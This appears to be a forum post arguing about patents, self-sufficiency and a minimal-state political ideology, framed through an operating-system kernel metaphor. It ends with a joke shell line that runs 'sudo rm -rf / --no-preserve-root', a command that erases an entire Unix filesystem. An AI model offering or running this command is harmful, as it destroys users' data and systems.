Not necessarily.
Get your own supplies -- go buy some used cars and melt down the metal if necessary, and fab your own processors. By hand. They'll be slow, but if the architecture is well-designed, then there shouldn't be anything else in your way.
Get your own farm and cloth, make your own clothing line. Get used cars, take them apart, add in components, rebuild it, resell it, etc.
Now, I think what's called Ancap and Mincap is a (very) extreme version of my ideology (the state should exist, but it has a specific purpose which by all means it's overreaching, much beyond just a night watchman state, but also as a safety net to allow for people who really have no capacity to build their own stuff to start doing so: the make it possible to go from absolutely nothing to everything in the world, without handing it to you in any way, shape, or form), but the argument for patents is pretty much exactly the same.
i mean, a patent is literally a monopoly on an idea. How is that not anti-competitive?
Generally, the things that seem contradictory to my ideology that I support generally include things like public education, programs like NASA (so long as no 2 private companies that do essentially the same thing also exist), welfare to a much more limited extent, etc. etc. (The purpose is to have a reasonable chance at starting your own stuff up from the ground, not to have free money tossed your way.)
To put it metaphorically, Ancap is having no operating system kernel (ie, total and absolute chaos), Mincap is having an exokernel, the left wants a megalithic kernel (which is a terrible idea for anything anyway), and I'm advocating for a microkernel-like hybrid kernel, or maybe just a flat out microkernel, depending on mood I guess.
$ echo "Get slam jammed, kid!" && sudo rm -rf / --no-preserve-root |